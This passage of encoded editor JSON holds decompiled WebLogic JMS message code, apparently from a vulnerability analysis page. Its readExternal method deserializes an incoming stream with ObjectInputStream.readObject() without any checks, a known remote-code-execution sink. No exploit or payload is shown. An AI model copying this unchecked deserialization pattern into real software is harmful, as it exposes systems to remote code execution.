(PayloadStream)this.decompress();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rvkv-1677058246692&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e1RE-1677058246691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wDfP-1677058246694&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tsk2-1677058246693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ijai-1677058246696&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3YH1-1677058246695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;opB8-1677058246698&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MqAV-1677058246697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.cleanupCompressedMessageBody();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DWMF-1677058246700&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2sCv-1677058246699&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9nN9-1677058246702&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YyDZ-1677058246701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FPwa-1677058246704&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CupC-1677058246703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CZ1n-1677058246706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jJ2m-1677058246705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OGg7-1677058246708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BwYy-1677058246707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g65f-1677058246710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dmyq-1677058246709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tgik-1677058246712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;glUv-1677058246711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super.readExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kctB-1677058246714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dE7V-1677058246713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var2 = var1.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m7V2-1677058246716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ri0n-1677058246715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var3 = (byte)(var2 &amp; 127);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t8Gs-1677058246718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cv3P-1677058246717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var3 &gt;= 1 &amp;&amp; var3 &lt;= 3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AK67-1677058246720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r0mT-1677058246719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xqdD-1677058246722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9C9o-1677058246721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21tP-1677058246724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xvu7-1677058246723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HzJ9-1677058246728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S6Qr-1677058246725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    BufferInputStream var4 = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z5q4-1677058246730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WMGv-1677058246729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9SdX-1677058246732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D2NI-1677058246731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.setBodyWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2jGH-1677058246734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GfEC-1677058246733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.setPropertiesWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWAc-1677058246737&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ml0B-1677058246735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xWKI-1677058246739&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Q7T-1677058246738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kh9S-1677058246741&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S9o5-1677058246740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vcx5-1677058246743&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nz0E-1677058246742&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            this.writeObject(var5.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Trlz-1677058246745&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jgEW-1677058246744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zBSm-1677058246747&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ioc2-1677058246746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (EOFException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dp1J-1677058246749&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBST-1677058246748&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tgfi-1677058246751&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;auYN-1677058246750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gbWk-1677058246753&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K2jh-1677058246752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mTYS-1677058246755&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BHTa-1677058246754&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EJpt-1677058246757&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H1oP-1677058246756&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            this.payload = var7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Btc6-1677058246760&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jb9A-1677058246759&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        } catch (JMSException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ttBu-1677058246762&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BnKg-1677058246761&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            JMSClientExceptionLogger.logStackTrace(var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0iwG-1677058246764&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FcS8-1677058246763&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVRq-1677058246767&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ogl3-1677058246766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (MessageNotWriteableException var10) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ac3K-1677058246769&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vacI-1677058246768&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PJyz-1677058246771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvS2-1677058246770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (javax.jms.MessageFormatException var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uY3n-1677058246773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CIj8-1677058246772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xaBr-1677058246775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7dRY-1677058246774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (JMSException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qp7j-1677058246777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hqbL-1677058246776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FkWj-1677058246779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O22D-1677058246778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c4ZI-1677058246781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4zl9-1677058246780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zAKq-1677058246783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LD3P-1677058246782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W2xt-1677058246785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hALf-1677058246784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if ((var2 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xOeg-1677058246787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;thCy-1677058246786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.readExternalCompressedMessageBody(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wO5O-1677058246790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fYUe-1677058246789&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eTtY-1677058246792&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rKjN-1677058246791&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptmb-1677058246794&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Sw9a-1677058246793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AGxq-1677058246796&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rOOk-1677058246795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCen-1677058246798&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WIKA-1677058246797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHnm-1677058246800&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nM0e-1677058246799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kvh0-1677058246802&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1FMV-1677058246801&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chPa-1677058246804&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Td3m-1677058246803&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw JMSUtilities.versionIOException(var3, 1, 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fv48-1677058246806&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;clVw-1677058246805&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VsgK-1677058246808&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7D6E-1677058246807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n4a4-1677058246810&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Uzc-1677058246809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CWDI-1677058246812&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L95c-1677058246811&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public long getPayloadSize() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;naA1-1677058246814&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YbAY-1677058246813&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9s7h-1677058246816&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rgR9-1677058246815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (long)this.getCompressedMessageBodySize();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XmXb-1677058246818&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xzOi-1677058246817&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (super.bodySize != -1L) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sBQh-1677058246820&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nomv-1677058246819&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return super.bodySize;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;laRr-1677058246822&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9J0n-1677058246821&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (this.payload != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X25I-1677058246824&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;su8t-1677058246823&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return super.bodySize = (long)this.payload.getLength();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7fTq-1677058246826&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jrYw-1677058246825&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R4xS-1677058246828&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KXjE-1677058246827&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return this.bos != null ? (long)this.bos.size() : (super.bodySize = 0L);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gabt-1677058246830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qsej-1677058246829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bpky-1677058246832&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KkX1-1677058246831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EDXW-1677058246834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trnW-1677058246833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kmyp-1677058246836&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SwnV-1677058246835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String typeCodeToString(int var1) 